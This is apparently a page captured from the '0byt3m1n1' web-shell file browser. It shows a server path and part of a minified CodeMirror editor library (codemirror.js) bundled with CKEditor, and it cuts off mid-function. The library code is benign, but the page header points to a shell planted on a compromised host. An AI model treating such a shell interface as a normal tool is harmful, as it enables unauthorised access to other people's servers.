0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
giga
/
web
/
dist
/
vendor
/
ckeditor
/
samples
/
toolbarconfigurator
/
lib
/
codemirror
/
[
Home
]
File: codemirror.js
!function(e){if("object"==typeof exports&&"object"==typeof module)module.exports=e();else{if("function"==typeof define&&define.amd)return define([],e);this.CodeMirror=e()}}((function(){function e(n,i){if(!(this instanceof e))return new e(n,i);this.options=i=i?gi(i):{},gi(xr,i,!1),f(i);var r=i.value;"string"==typeof r&&(r=new Xr(r,i.mode)),this.doc=r;var o=new e.inputStyles[i.inputStyle](this);(o=this.display=new t(n,r,o)).wrapper.CodeMirror=this,a(this),l(this),i.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap"),i.autofocus&&!Zi&&o.input.focus(),m(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,draggingText:!1,highlight:new si,keySeq:null,specialChars:null};var s=this;for(var c in Gi&&11>Ui&&setTimeout((function(){s.display.input.reset(!0)}),20),function(e){function t(){i.activeTouch&&(r=setTimeout((function(){i.activeTouch=null}),1e3),(o=i.activeTouch).end=+new Date)}function n(e,t){if(null==t.left)return!0;var n=t.left-e.left,i=t.top-e.top;return 400<n*n+i*i}var i=e.display;Zr(i.scroller,"mousedown",Ze(e,ht)),Zr(i.scroller,"dblclick",Gi&&11>Ui?Ze(e,(function(t){if(!ii(e,t)){var n=ut(e,t);!n||ft(e,t,"gutterClick",!0,ti)||ct(e.display,t)||(_r(t),t=e.findWordAt(n),ae(e.doc,t.anchor,t.head))}})):function(t){ii(e,t)||_r(t)}),nr||Zr(i.scroller,"contextmenu",(function(t){Tt(e,t)}));var r,o={end:0};Zr(i.scroller,"touchstart",(function(e){var t;(t=1==e.touches.length&&(1>=(t=e.touches[0]).radiusX&&1>=t.radiusY))||(clearTimeout(r),t=+new Date,i.activeTouch={start:t,moved:!1,prev:300>=t-o.end?o:null},1==e.touches.length&&(i.activeTouch.left=e.touches[0].pageX,i.activeTouch.top=e.touches[0].pageY))})),Zr(i.scroller,"touchmove",(function(){i.activeTouch&&(i.activeTouch.moved=!0)})),Zr(i.scroller,"touchend",(function(r){if((l=i.activeTouch)&&!ct(i,r)&&null!=l.left&&!l.moved&&300>new Date-l.start){var o=e.coordsChar(i.activeTouch,"page"),l=!l.prev||n(l,l.prev)?new ne(o,o):!l.prev.prev||n(l,l.prev.prev)?e.findWordAt(o):new ne(or(o.line,0),oe(e.doc,or(o.line+1,0)));e.setSelection(l.anchor,l.head),e.focus(),_r(r)}t()})),Zr(i.scroller,"touchcancel",t),Zr(i.scroller,"scroll",(function(){i.scroller.clientHeight&&(pt(e,i.scroller.scrollTop),gt(e,i.scroller.scrollLeft,!0),Jr(e,"scroll",e))})),Zr(i.scroller,"mousewheel",(function(t){mt(e,t)})),Zr(i.scroller,"DOMMouseScroll",(function(t){mt(e,t)})),Zr(i.wrapper,"scroll",(function(){i.wrapper.scrollTop=i.wrapper.scrollLeft=0})),i.dragFunctions={simple:function(t){ii(e,t)||qr(t)},start:function(t){if(Gi&&(!e.state.draggingText||100>+new Date-pr))qr(t);else if(!ii(e,t)&&!ct(e.display,t)&&(t.dataTransfer.setData("Text",e.getSelection()),t.dataTransfer.setDragImage&&!Yi)){var n=wi("img",null,null,"position: fixed; left: 0; top: 0;");n.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",ji&&(n.width=n.height=1,e.display.wrapper.appendChild(n),n._top=n.offsetTop),t.dataTransfer.setDragImage(n,0,0),ji&&n.parentNode.removeChild(n)}},drop:Ze(e,dt)};var l=i.input.getField();Zr(l,"keyup",(function(t){xt.call(e,t)})),Zr(l,"keydown",Ze(e,wt)),Zr(l,"keypress",Ze(e,Ct)),Zr(l,"focus",mi(St,e)),Zr(l,"blur",mi(Lt,e))}(this),wo||(function(){var e;Zr(window,"resize",(function(){null==e&&(e=setTimeout((function(){e=null,ki(at)}),100))})),Zr(window,"blur",(function(){ki(Lt)}))}(),wo=!0),_e(this),this.curOp.forceUpdate=!0,Hn(this,r),i.autofocus&&!Zi||s.hasFocus()?setTimeout(mi(St,this),20):Lt(this),Cr)Cr.hasOwnProperty(c)&&Cr[c](this,i[c],Sr);for(x(this),i.finishInit&&i.finishInit(this),r=0;r<Mr.length;++r)Mr[r](this);$e(this),Vi&&i.lineWrapping&&"optimizelegibility"==getComputedStyle(o.lineDiv).textRendering&&(o.lineDiv.style.textRendering="auto")}function t(e,t,n){this.input=n,this.scrollbarFiller=wi("div",null,"CodeMirror-scrollbar-filler"),this.scrollbarFiller.setAttribute("cm-not-content","true"),this.gutterFiller=wi("div",null,"CodeMirror-gutter-filler"),this.gutterFiller.setAttribute("cm-not-content","true"),this.lineDiv=wi("div",null,"CodeMirror-code"),this.selectionDiv=wi("div",null,null,"position: relative; z-index: 1"),this.cursorDiv=wi("div",null,"CodeMirror-cursors"),this.measure=wi("div",null,"CodeMirror-measure"),this.lineMeasure=wi("div",null,"CodeMirror-measure"),this.lineSpace=wi("div",[this.measure,this.lineMeasure,this.selectionDiv,this.cursorDiv,this.lineDiv],null,"position: relative; outline: none"),this.mover=wi("div",[wi("div",[this.lineSpace],"CodeMirror-lines")],null,"position: relative"),this.sizer=wi("div",[this.mover],"CodeMirror-sizer"),this.sizerWidth=null,this.heightForcer=wi("div",null,null,"position: absolute; height: "+to+"px; width: 1px;"),this.gutters=wi("div",null,"CodeMirror-gutters"),this.lineGutter=null,this.scroller=wi("div",[this.sizer,this.heightForcer,this.gutters],"CodeMirror-scroll"),this.scroller.setAttribute("tabIndex","-1"),this.wrapper=wi("div",[this.scrollbarFiller,this.gutterFiller,this.scroller],"CodeMirror"),Gi&&8>Ui&&(this.gutters.style.zIndex=-1,this.scroller.style.paddingRight=0),Vi||Fi&&Zi||(this.scroller.draggable=!0),e&&(e.appendChild?e.appendChild(this.wrapper):e(this.wrapper)),this.reportedViewFrom=this.reportedViewTo=this.viewFrom=this.viewTo=t.first,this.view=[],this.externalMeasured=this.renderedView=null,this.lastWrapHeight=this.lastWrapWidth=this.viewOffset=0,this.updateLineNumbers=null,this.nativeBarWidth=this.barHeight=this.barWidth=0,this.scrollbarsClipped=!1,this.lineNumWidth=this.lineNumInnerWidth=this.lineNumChars=null,this.alignWidgets=!1,this.maxLine=this.cachedCharWidth=this.cachedTextHeight=this.cachedPaddingH=null,this.maxLineLength=0,this.maxLineChanged=!1,this.wheelDX=this.wheelDY=this.wheelStartX=this.wheelStartY=null,this.shift=!1,this.activeTouch=this.selForContextMenu=null,n.init(this)}function n(t){t.doc.mode=e.getMode(t.options,t.doc.modeOption),i(t)}function i(e){e.doc.iter((function(e){e.stateAfter&&(e.stateAfter=null),e.styles&&(e.styles=null)})),e.doc.frontier=e.doc.first,Ce(e,100),e.state.modeGen++,e.curOp&&nt(e)}function r(e){var t=je(e.display),n=e.options.lineWrapping,i=n&&Math.max(5,e.display.scroller.clientWidth/Ye(e.display)-3);return function(r){if(hn(e.doc,r))return 0;var o=0;if(r.widgets)for(var l=0;l<r.widgets.length;l++)r.widgets[l].height&&(o+=r.widgets[l].height);return n?o+(Math.ceil(r.text.length/i)||1)*t:o+t}}function o(e){var t=e.doc,n=r(e);t.iter((function(e){var t=n(e);t!=e.height&&zn(e,t)}))}function l(e){e.display.wrapper.className=e.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+e.options.theme.replace(/(^|\s)\s*/g," cm-s-"),ze(e)}function s(e){a(e),nt(e),setTimeout((function(){w(e)}),20)}function a(e){var t=e.display.gutters,n=e.options.gutters;xi(t);for(var i=0;i<n.length;++i){var r=n[i],o=t.appendChild(wi("div",null,"CodeMirror-gutter "+r));"CodeMirror-linenumbers"==r&&(e.display.lineGutter=o,o.style.width=(e.display.lineNumWidth||1)+"px")}t.style.display=i?"":"none",c(e)}function c(e){e.display.sizer.style.marginLeft=e.display.gutters.offsetWidth+"px"}function u(e){if(0==e.height)return 0;for(var t,n=e.text.length,i=e;t=ln(i,!0);)i=(t=t.find(0,!0)).from.line,n+=t.from.ch-t.to.ch;for(i=e;t=ln(i,!1);)t=t.find(0,!0),n-=i.text.length-t.from.ch,n+=(i=t.to.line).text.length-t.to.ch;return n}function h(e){var t=e.display;e=e.doc,t.maxLine=En(e,e.first),t.maxLineLength=u(t.maxLine),t.maxLineChanged=!0,e.iter((function(e){var n=u(e);n>t.maxLineLength&&(t.maxLineLength=n,t.maxLine=e)}))}function f(e){var t=hi(e.gutters,"CodeMirror-linenumbers");-1==t&&e.lineNumbers?e.gutters=e.gutters.concat(["CodeMirror-linenumbers"]):-1<t&&!e.lineNumbers&&(e.gutters=e.gutters.slice(0),e.gutters.splice(t,1))}function d(e){var t=e.display,n=t.gutters.offsetWidth,i=Math.round(e.doc.height+Te(e.display));return{clientHeight:t.scroller.clientHeight,viewHeight:t.wrapper.clientHeight,scrollWidth:t.scroller.scrollWidth,clientWidth:t.scroller.clientWidth,viewWidth:t.wrapper.clientWidth,barLeft:e.options.fixedGutter?n:0,docHeight:i,scrollHeight:i+Me(e)+t.barHeight,nativeBarWidth:t.nativeBarWidth,gutterWidth:n}}function p(e,t,n){this.cm=n;var i=this.vert=wi("div",[wi("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar"),r=this.horiz=wi("div",[wi("div",null,null,"height: 100%; min-height: 1px")],"CodeMirror-hscrollbar");e(i),e(r),Zr(i,"scroll",(function(){i.clientHeight&&t(i.scrollTop,"vertical")})),Zr(r,"scroll",(function(){r.clientWidth&&t(r.scrollLeft,"horizontal")})),this.checkedOverlay=!1,Gi&&8>Ui&&(this.horiz.style.minHeight=this.vert.style.minWidth="18px")}function g(){}function m(t){t.display.scrollbars&&(t.display.scrollbars.clear(),t.display.scrollbars.addClass&&yo(t.display.wrapper,t.display.scrollbars.addClass)),t.display.scrollbars=new e.scrollbarModel[t.options.scrollbarStyle]((function(e){t.display.wrapper.insertBefore(e,t.display.scrollbarFiller),Zr(e,"mousedown",(function(){t.state.focused&&setTimeout((function(){t.display.input.focus()}),0)})),e.setAttribute("cm-not-content","true")}),(function(e,n){"horizontal"==n?gt(t,e):pt(t,e)}),t),t.display.scrollbars.addClass&&bo(t.display.wrapper,t.display.scrollbars.addClass)}function v(e,t){t||(t=d(e));var n=e.display.barWidth,i=e.display.barHeight;y(e,t);for(var r=0;4>r&&n!=e.display.barWidth||i!=e.display.barHeight;r++)n!=e.display.barWidth&&e.options.lineWrapping&&A(e),y(e,d(e)),n=e.display.barWidth,i=e.display.barHeight}function y(e,t){var n=e.display,i=n.scrollbars.update(t);n.sizer.style.paddingRight=(n.barWidth=i.right)+"px",n.sizer.style.paddingBottom=(n.barHeight=i.bottom)+"px",i.right&&i.bottom?(n.scrollbarFiller.style.display="block",n.scrollbarFiller.style.height=i.bottom+"px",n.scrollbarFiller.style.width=i.right+"px"):n.scrollbarFiller.style.display="",i.bottom&&e.options.coverGutterNextToScrollbar&&e.options.fixedGutter?(n.gutterFiller.style.display="block",n.gutterFiller.style.height=i.bottom+"px",n.gutterFiller.style.width=t.gutterWidth+"px"):n.gutterFiller.style.display=""}function b(e,t,n){var i=n&&null!=n.top?Math.max(0,n.top):e.scroller.scrollTop,r=(i=Math.floor(i-e.lineSpace.offsetTop),n&&null!=n.bottom?n.bottom:i+e.wrapper.clientHeight);if(i=Rn(t,i),r=Rn(t,r),n&&n.ensure){var o=n.ensure.from.line;n=n.ensure.to.line,o<i?(i=o,r=Rn(t,Bn(En(t,o))+e.wrapper.clientHeight)):Math.min(n,t.lastLine())>=r&&(i=Rn(t,Bn(En(t,n))-e.wrapper.clientHeight),r=n)}return{from:i,to:Math.max(r,i+1)}}function w(e){var t=e.display,n=t.view;if(t.alignWidgets||t.gutters.firstChild&&e.options.fixedGutter){for(var i=S(t)-t.scroller.scrollLeft+e.doc.scrollLeft,r=t.gutters.offsetWidth,o=i+"px",l=0;l<n.length;l++)if(!n[l].hidden){e.options.fixedGutter&&n[l].gutter&&(n[l].gutter.style.left=o);var s=n[l].alignable;if(s)for(var a=0;a<s.length;a++)s[a].style.left=o}e.options.fixedGutter&&(t.gutters.style.left=i+r+"px")}}function x(e){if(!e.options.lineNumbers)return!1;var t=e.doc,n=(t=C(e.options,t.first+t.size-1),e.display);if(t.length!=n.lineNumChars){var i=(r=n.measure.appendChild(wi("div",[wi("div",t)],"CodeMirror-linenumber CodeMirror-gutter-elt"))).firstChild.offsetWidth,r=r.offsetWidth-i;return n.lineGutter.style.width="",n.lineNumInnerWidth=Math.max(i,n.lineGutter.offsetWidth-r)+1,n.lineNumWidth=n.lineNumInnerWidth+r,n.lineNumChars=n.lineNumInnerWidth?t.length:-1,n.lineGutter.style.width=n.lineNumWidth+"px",c(e),!0}return!1}function C(e,t){return String(e.lineNumberFormatter(t+e.firstLineNumber))}function S(e){return e.scroller.getBoundingClientRect().left-e.sizer.getBoundingClientRect().left}function L(e,t,n){var i=e.display;this.viewport=t,this.visible=b(i,e.doc,t),this.editorIsHidden=!i.wrapper.offsetWidth,this.wrapperHeight=i.wrapper.clientHeight,this.wrapperWidth=i.wrapper.clientWidth,this.oldDisplayWidth=Ne(e),this.force=n,this.dims=O(e),this.events=[]}function T(e,t){var n=e.display,i=e.doc;if(t.editorIsHidden)return rt(e),!1;if(!t.force&&t.visible.from>=n.viewFrom&&t.visible.to<=n.viewTo&&(null==n.updateLineNumbers||n.updateLineNumbers>=n.viewTo)&&n.renderedView==n.view&&0==st(e))return!1;x(e)&&(rt(e),t.dims=O(e));var r=i.first+i.size,o=Math.max(t.visible.from-e.options.viewportMargin,i.first),l=Math.min(r,t.visible.to+e.options.viewportMargin);return n.viewFrom<o&&20>o-n.viewFrom&&(o=Math.max(i.first,n.viewFrom)),n.viewTo>l&&20>n.viewTo-l&&(l=Math.min(r,n.viewTo)),rr&&(o=cn(e.doc,o),l=un(e.doc,l)),i=o!=n.viewFrom||l!=n.viewTo||n.lastWrapHeight!=t.wrapperHeight||n.lastWrapWidth!=t.wrapperWidth,0==(r=e.display).view.length||o>=r.viewTo||l<=r.viewFrom?(r.view=tt(e,o,l),r.viewFrom=o):(r.viewFrom>o?r.view=tt(e,o,r.viewFrom).concat(r.view):r.viewFrom<o&&(r.view=r.view.slice(ot(e,o))),r.viewFrom=o,r.viewTo<l?r.view=r.view.concat(tt(e,r.viewTo,l)):r.viewTo>l&&(r.view=r.view.slice(0,ot(e,l)))),r.viewTo=l,n.viewOffset=Bn(En(e.doc,n.viewFrom)),e.display.mover.style.top=n.viewOffset+"px",l=st(e),!(!i&&0==l&&!t.force&&n.renderedView==n.view&&(null==n.updateLineNumbers||n.updateLineNumbers>=n.viewTo)||(o=Si(),4<l&&(n.lineDiv.style.display="none"),function(e,t,n){function i(t){var n=t.nextSibling;return Vi&&Qi&&e.display.currentWheelTarget==t?t.style.display="none":t.parentNode.removeChild(t),n}for(var r=e.display,o=e.options.lineNumbers,l=r.lineDiv,s=l.firstChild,a=r.view,c=(r=r.viewFrom,0);c<a.length;c++){var u=a[c];if(!u.hidden)if(u.node&&u.node.parentNode==l){for(;s!=u.node;)s=i(s);s=o&&null!=t&&t<=r&&u.lineNumber,u.changes&&(-1<hi(u.changes,"gutter")&&(s=!1),D(e,u,r,n)),s&&(xi(u.lineNumber),u.lineNumber.appendChild(document.createTextNode(C(e.options,r)))),s=u.node.nextSibling}else{var h=z(e,u,r,n);l.insertBefore(h,s)}r+=u.size}for(;s;)s=i(s)}(e,n.updateLineNumbers,t.dims),4<l&&(n.lineDiv.style.display=""),n.renderedView=n.view,o&&Si()!=o&&o.offsetHeight&&o.focus(),xi(n.cursorDiv),xi(n.selectionDiv),n.gutters.style.height=0,i&&(n.lastWrapHeight=t.wrapperHeight,n.lastWrapWidth=t.wrapperWidth,Ce(e,400)),n.updateLineNumbers=null,0))}function k(e,t){for(var n=t.viewport,i=!0;(i&&e.options.lineWrapping&&t.oldDisplayWidth!=Ne(e)||(n&&null!=n.top&&(n={top:Math.min(e.doc.height+Te(e.display)-Ae(e),n.top)}),t.visible=b(e.display,e.doc,n),!(t.visible.from>=e.display.viewFrom&&t.visible.to<=e.display.viewTo)))&&T(e,t);i=!1)A(e),i=d(e),ye(e),N(e,i),v(e,i);t.signal(e,"update",e),e.display.viewFrom==e.display.reportedViewFrom&&e.display.viewTo==e.display.reportedViewTo||(t.signal(e,"viewportChange",e,e.display.viewFrom,e.display.viewTo),e.display.reportedViewFrom=e.display.viewFrom,e.display.reportedViewTo=e.display.viewTo)}function M(e,t){var n=new L(e,t);if(T(e,n)){A(e),k(e,n);var i=d(e);ye(e),N(e,i),v(e,i),n.finish()}}function N(e,t){e.display.sizer.style.minHeight=t.docHeight+"px";var n=t.docHeight+e.display.barHeight;e.display.heightForcer.style.top=n+"px",e.display.gutters.style.height=Math.max(n+Me(e),t.clientHeight)+"px"}function A(e){for(var t=(e=e.display).lineDiv.offsetTop,n=0;n<e.view.length;n++){var i,r=e.view[n];if(!r.hidden){if(Gi&&8>Ui){var o=r.node.offsetTop+r.node.offsetHeight;i=o-t,t=o}else i=(i=r.node.getBoundingClientRect()).bottom-i.top;if(o=r.line.height-i,2>i&&(i=je(e)),(.001<o||-.001>o)&&(zn(r.line,i),W(r.line),r.rest))for(i=0;i<r.rest.length;i++)W(r.rest[i])}}}function W(e){if(e.widgets)for(var t=0;t<e.widgets.length;++t)e.widgets[t].height=e.widgets[t].node.offsetHeight}function O(e){for(var t=e.display,n={},i={},r=t.gutters.clientLeft,o=t.gutters.firstChild,l=0;o;o=o.nextSibling,++l)n[e.options.gutters[l]]=o.offsetLeft+o.clientLeft+r,i[e.options.gutters[l]]=o.clientWidth;return{fixedPos:S(t),gutterTotalWidth:t.gutters.offsetWidth,gutterLeft:n,gutterWidth:i,wrapperWidth:t.wrapper.clientWidth}}function D(e,t,n,i){for(var r=0;r<t.changes.length;r++)if("text"==(o=t.changes[r])){var o,l=(o=t).text.className,s=E(e,o);o.text==o.node&&(o.node=s.pre),o.text.parentNode.replaceChild(s.pre,o.text),o.text=s.pre,s.bgClass!=o.bgClass||s.textClass!=o.textClass?(o.bgClass=s.bgClass,o.textClass=s.textClass,I(o)):l&&(o.text.className=l)}else if("gutter"==o)P(e,t,n,i);else if("class"==o)I(t);else if("widget"==o){o=e,s=i,(l=t).alignable&&(l.alignable=null);for(var a=l.node.firstChild,c=void 0;a;a=c)c=a.nextSibling,"CodeMirror-linewidget"==a.className&&l.node.removeChild(a);F(o,l,s)}t.changes=null}function H(e){return e.node==e.text&&(e.node=wi("div",null,null,"position: relative"),e.text.parentNode&&e.text.parentNode.replaceChild(e.node,e.text),e.node.appendChild(e.text),Gi&&8>Ui&&(e.node.style.zIndex=2)),e.node}function E(e,t){var n=e.display.externalMeasured;return n&&n.line==t.line?(e.display.externalMeasured=null,t.measure=n.measure,n.built):Sn(e,t)}function I(e){var t=e.bgClass?e.bgClass+" "+(e.line.bgClass||""):e.line.bgClass;if(t&&(t+=" CodeMirror-linebackground"),e.background)t?e.background.className=t:(e.background.parentNode.removeChild(e.background),e.background=null);else if(t){var n=H(e);e.background=n.insertBefore(wi("div",null,t),n.firstChild)}e.line.wrapClass?H(e).className=e.line.wrapClass:e.node!=e.text&&(e.node.className=""),e.text.className=(e.textClass?e.textClass+" "+(e.line.textClass||""):e.line.textClass)||""}function P(e,t,n,i){t.gutter&&(t.node.removeChild(t.gutter),t.gutter=null);var r=t.line.gutterMarkers;if(e.options.lineNumbers||r){var o=H(t),l=t.gutter=wi("div",null,"CodeMirror-gutter-wrapper","left: "+(e.options.fixedGutter?i.fixedPos:-i.gutterTotalWidth)+"px; width: "+i.gutterTotalWidth+"px");if(e.display.input.setUneditable(l),o.insertBefore(l,t.text),t.line.gutterClass&&(l.className+=" "+t.line.gutterClass),!e.options.lineNumbers||r&&r["CodeMirror-linenumbers"]||(t.lineNumber=l.appendChild(wi("div",C(e.options,n),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+i.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+e.display.lineNumInnerWidth+"px"))),r)for(t=0;t<e.options.gutters.length;++t)n=e.options.gutters[t],(o=r.hasOwnProperty(n)&&r[n])&&l.appendChild(wi("div",[o],"CodeMirror-gutter-elt","left: "+i.gutterLeft[n]+"px; width: "+i.gutterWidth[n]+"px"))}}function z(e,t,n,i){var r=E(e,t);return t.text=t.node=r.pre,r.bgClass&&(t.bgClass=r.bgClass),r.textClass&&(t.textClass=r.textClass),I(t),P(e,t,n,i),F(e,t,i),t.node}function F(e,t,n){if(R(e,t.line,t,n,!0),t.rest)for(var i=0;i<t.rest.length;i++)R(e,t.rest[i],t,n,!1)}function R(e,t,n,i,r){if(t.widgets){var o=H(n),l=0;for(t=t.widgets;l<t.length;++l){var s=t[l],a=wi("div",[s.node],"CodeMirror-linewidget");s.handleMouseEvents||a.setAttribute("cm-ignore-events","true");var c=s,u=a,h=i;if(c.noHScroll){(n.alignable||(n.alignable=[])).push(u);var f=h.wrapperWidth;u.style.left=h.fixedPos+"px",c.coverGutter||(f-=h.gutterTotalWidth,u.style.paddingLeft=h.gutterTotalWidth+"px"),u.style.width=f+"px"}c.coverGutter&&(u.style.zIndex=5,u.style.position="relative",c.noHScroll||(u.style.marginLeft=-h.gutterTotalWidth+"px")),e.display.input.setUneditable(a),r&&s.above?o.insertBefore(a,n.gutter||n.text):o.appendChild(a),ti(s,"redraw")}}}function B(e){return or(e.line,e.ch)}function G(e,t){return 0>lr(e,t)?t:e}function U(e,t){return 0>lr(e,t)?e:t}function V(e){e.state.focused||(e.display.input.focus(),St(e))}function K(e){return e.options.readOnly||e.doc.cantEdit}function X(e,t,n,i,r){var o=e.doc;e.display.shift=!1,i||(i=o.sel);var l=Co(t),s=null;e.state.pasteIncoming&&1<i.ranges.length&&(sr&&sr.join("\n")==t?s=0==i.ranges.length%sr.length&&fi(sr,Co):l.length==i.ranges.length&&(s=fi(l,(function(e){return[e]}))));for(var a=i.ranges.length-1;0<=a;a--){var c=i.ranges[a],u=c.from(),h=c.to();c.empty()&&(n&&0<n?u=or(u.line,u.ch-n):e.state.overwrite&&!e.state.pasteIncoming&&(h=or(h.line,Math.min(En(o,h.line).text.length,h.ch+ui(l).length))));var f=e.curOp.updateInput;if(u={from:u,to:h,text:s?s[a%s.length]:l,origin:r||(e.state.pasteIncoming?"paste":e.state.cutIncoming?"cut":"+input")},Wt(e.doc,u),ti(e,"inputRead",e,u),t&&!e.state.pasteIncoming&&e.options.electricChars&&e.options.smartIndent&&100>c.head.ch&&(!a||i.ranges[a-1].head.line!=c.head.line)){if(c=e.getModeAt(c.head),u=wr(u),h=!1,c.electricChars){for(var d=0;d<c.electricChars.length;d++)if(-1<t.indexOf(c.electricChars.charAt(d))){h=Bt(e,u.line,"smart");break}}else c.electricInput&&c.electricInput.test(En(o,u.line).text.slice(0,u.ch))&&(h=Bt(e,u.line,"smart"));h&&ti(e,"electricInput",e,u.line)}}Ft(e),e.curOp.updateInput=f,e.curOp.typing=!0,e.state.pasteIncoming=e.state.cutIncoming=!1}function j(e){for(var t=[],n=[],i=0;i<e.doc.sel.ranges.length;i++){var r=e.doc.sel.ranges[i].head.line;r={anchor:or(r,0),head:or(r+1,0)},n.push(r),t.push(e.getRange(r.anchor,r.head))}return{text:t,ranges:n}}function Y(e){e.setAttribute("autocorrect","off"),e.setAttribute("autocapitalize","off"),e.setAttribute("spellcheck","false")}function _(e){this.cm=e,this.prevInput="",this.pollingFast=!1,this.polling=new si,this.hasSelection=this.inaccurateSelection=!1,this.composing=null}function $(){var e=wi("textarea",null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none"),t=wi("div",[e],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");return Vi?e.style.width="1000px":e.setAttribute("wrap","off"),qi&&(e.style.border="1px solid black"),Y(e),t}function q(e){this.cm=e,this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null,this.polling=new si,this.gracePeriod=!1}function Z(e,t){if(!(i=Oe(e,t.line))||i.hidden)return null;var n=En(e.doc,t.line),i=We(i,n,t.line);return(n=Gn(n))&&Ei(n,t.ch),(n=Ee(i.map,t.ch,"left")).offset="right"==n.collapse?n.end:n.start,n}function Q(e,t){return t&&(e.bad=!0),e}function J(e,t,n){var i;if(t==e.display.lineDiv){if(!(i=e.display.lineDiv.childNodes[n]))return Q(e.clipPos(or(e.display.viewTo-1)),!0);t=null,n=0}else for(i=t;;i=i.parentNode){if(!i||i==e.display.lineDiv)return null;if(i.parentNode&&i.parentNode==e.display.lineDiv)break}for(var r=0;r<e.display.view.length;r++){var o=e.display.view[r];if(o.node==i)return ee(o,t,n)}}function ee(e,t,n){function i(t,n,i){for(var r=-1;r<(c?c.length:0);r++)for(var o=0>r?a.map:c[r],l=0;l<o.length;l+=3){var s=o[l+2];if(s==t||s==n)return n=Fn(0>r?e.line:e.rest[r]),r=o[l]+i,(0>i||s!=t)&&(r=o[l+(i?1:0)]),or(n,r)}}var r=e.text.firstChild,o=!1;if(!t||!po(r,t))return Q(or(Fn(e.line),0),!0);if(t==r&&(o=!0,t=r.childNodes[n],n=0,!t))return n=e.rest?ui(e.rest):e.line,Q(or(Fn(n),n.text.length),o);var l=3==t.nodeType?t:null,s=t;for(l||1!=t.childNodes.length||3!=t.firstChild.nodeType||(l=t.firstChild,n&&(n=l.nodeValue.length));s.parentNode!=r;)s=s.parentNode;var a=e.measure,c=a.maps;if(t=i(l,s,n))return Q(t,o);for(r=s.nextSibling,l=l?l.nodeValue.length-n:0;r;r=r.nextSibling){if(t=i(r,r.firstChild,0))return Q(or(t.line,t.ch-l),o);l+=r.textContent.length}for(s=s.previousSibling,l=n;s;s=s.previousSibling){if(t=i(s,s.firstChild,-1))return Q(or(t.line,t.ch+l),o);l+=r.textContent.length}}function te(e,t){this.ranges=e,this.primIndex=t}function ne(e,t){this.anchor=e,this.head=t}function ie(e,t){var n=e[t];for(e.sort((function(e,t){return lr(e.from(),t.from())})),t=hi(e,n),n=1;n<e.length;n++){var i=e[n],r=e[n-1];if(0<=lr(r.to(),i.from())){var o=U(r.from(),i.from()),l=G(r.to(),i.to());i=r.empty()?i.from()==i.head:r.from()==r.head,n<=t&&--t,e.splice(--n,2,new ne(i?l:o,i?o:l))}}return new te(e,t)}function re(e,t){return new te([new ne(e,t||e)],0)}function oe(e,t){if(t.line<e.first)return or(e.first,0);var n=e.first+e.size-1;if(t.line>n)return or(n,En(e,n).text.length);n=En(e,t.line).text.length;var i=t.ch;return null==i||i>n?or(t.line,n):0>i?or(t.line,0):t}function le(e,t){return t>=e.first&&t<e.first+e.size}function se(e,t,n,i){return e.cm&&e.cm.display.shift||e.extend?(e=t.anchor,i&&((t=0>lr(n,e))!=0>lr(i,e)?(e=n,n=i):t!=0>lr(n,i)&&(n=i)),new ne(e,n)):new ne(i||n,n)}function ae(e,t,n,i){fe(e,new te([se(e,e.sel.primary(),t,n)],0),i)}function ce(e,t,n){for(var i=[],r=0;r<e.sel.ranges.length;r++)i[r]=se(e,e.sel.ranges[r],t[r],null);fe(e,t=ie(i,e.sel.primIndex),n)}function ue(e,t,n,i){var r=e.sel.ranges.slice(0);r[t]=n,fe(e,ie(r,e.sel.primIndex),i)}function he(e,t,n){var i=e.history.done,r=ui(i);r&&r.ranges?(i[i.length-1]=t,de(e,t,n)):fe(e,t,n)}function fe(e,t,n){de(e,t,n),t=e.sel;var i,r=e.cm?e.cm.curOp.id:NaN,o=e.history,l=n&&n.origin;if(!(i=r==o.lastSelOp)&&(i=l&&o.lastSelOrigin==l)&&!(i=o.lastModTime==o.lastSelTime&&o.lastOrigin==l)){i=ui(o.done);var s=l.charAt(0);i="*"==s||"+"==s&&i.ranges.length==t.ranges.length&&i.somethingSelected()==t.somethingSelected()&&new Date-e.history.lastSelTime<=(e.cm?e.cm.options.historyEventDelay:500)}i?o.done[o.done.length-1]=t:jn(t,o.done),o.lastSelTime=+new Date,o.lastSelOrigin=l,o.lastSelOp=r,n&&!1!==n.clearRedo&&Kn(o.undone)}function de(e,t,n){(oi(e,"beforeSelectionChange")||e.cm&&oi(e.cm,"beforeSelectionChange"))&&(t=function(e,t){var n={ranges:t.ranges,update:function(t){this.ranges=[];for(var n=0;n<t.length;n++)this.ranges[n]=new ne(oe(e,t[n].anchor),oe(e,t[n].head))}};return Jr(e,"beforeSelectionChange",e,n),e.cm&&Jr(e.cm,"beforeSelectionChange",e.cm,n),n.ranges!=t.ranges?ie(n.ranges,n.ranges.length-1):t}(e,t));var i=n&&n.bias||(0>lr(t.primary().head,e.sel.primary().head)?-1:1);pe(e,me(e,t,i,!0)),n&&!1===n.scroll||!e.cm||Ft(e.cm)}function pe(e,t){t.equals(e.sel)||(e.sel=t,e.cm&&(e.cm.curOp.updateInput=e.cm.curOp.selectionChanged=!0,ri(e.cm)),ti(e,"cursorActivity",e))}function ge(e){pe(e,me(e,e.sel,null,!1))}function me(e,t,n,i){for(var r,o=0;o<t.ranges.length;o++){var l=t.ranges[o],s=ve(e,l.anchor,n,i),a=ve(e,l.head,n,i);(r||s!=l.anchor||a!=l.head)&&(r||(r=t.ranges.slice(0,o)),r[o]=new ne(s,a))}return r?ie(r,t.primIndex):t}function ve(e,t,n,i){var r=!1,o=t,l=n||1;e.cantEdit=!1;e:for(;;){var s=En(e,o.line);if(s.markedSpans)for(var a=0;a<s.markedSpans.length;++a){var 